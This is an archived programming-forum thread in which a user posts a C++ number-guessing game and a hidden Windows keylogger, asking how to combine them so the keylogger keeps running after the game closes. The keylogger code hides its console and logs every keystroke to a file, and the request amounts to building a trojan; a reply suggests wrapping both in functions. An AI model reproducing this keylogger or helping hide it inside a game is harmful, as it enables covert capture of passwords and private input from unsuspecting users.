How to run a program inside another?

Hello fellas,

I am sorry to bother you all but I would be pleased if you guys could help me with a problem that I have.

I've got two codes, the first one is a random game that I found on the internet, and the second one is a keylogger.

I would like to know how I can combine both codes in one, I mean, run the game, and then the keylogger would run independently, and when the games closes, have the other program to continue running.

pd: sorry for my horrible english.

This is the game (random number game).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
  #include <iostream>
#include <cstdlib>
#include <ctime>

int main(void) {
	srand(time(NULL)); 
	
	while(true) { 

		int number = rand() % 99 + 2; 
		int guess; 
		int tries = 0;
		char answer; 
		
		//std::cout << number << "\n"; 
		
		while(true) {  
			
			std::cout << "Enter a number between 1 and 100 (" << 20 - tries << " tries left): ";
			std::cin >> guess;
			std::cin.ignore();
			
			// Check is tries are taken up.
			if(tries >= 20) {
				break;
			}
			
			// Check number.
			if(guess > number) {
				std::cout << "Too high! Try again.\n";
			} else if(guess < number) {
				std::cout << "Too low! Try again.\n";
			} else {
				break;
			}
			
			tries++;
		}
		
		if(tries >= 20) {
			std::cout << "You ran out of tries!\n\n";
		} else {
			// Or, user won.
			std::cout<<"Congratulations!! " << std::endl;
			std::cout<<"You got the right number in " << tries << " tries!\n";
		}
		
		while(true) { 			// Get user response.
			std::cout << "Would you like to play again (Y/N)? ";
			std::cin >> answer;
			std::cin.ignore();
			
			// Check if proper response.
			if(answer == 'n' || answer == 'N' || answer == 'y' || answer == 'Y') {
				break;
			} else {
				std::cout << "Please enter \'Y\' or \'N\'...\n";
			}
		}
		
		if(answer == 'n' || answer == 'N') {
			std::cout << "Thank you for playing!";
			break;
		} else {
			std::cout << "\n\n\n";
		}
	}
	
	// Safely exit.
	std::cout << "\n\nEnter anything to exit. . . ";
	std::cin.ignore();
	return 0;
}


And this is the keylogger

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <iostream>                      
# include <stdio.h>                        
# include <windows.h>               
#include <fstream>                         

using namespace std;                           
{
   HWND stealth; 
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);                 
char key;                                  
    while (true){                         
        Sleep(10);                         
        for(key = 8; key <= 190; key++){   
            if(GetAsyncKeyState(key) == -32767){        
                ofstream fichero;          
                fichero.open("log.txt",fstream::app);  
                fichero << key; 
                fichero.close(); 

            }
        }
    }

    return 0; 
}
Put both sections of code into functions and call them when you need them.
That's exactly what functions are for.
Topic archived. No new replies allowed.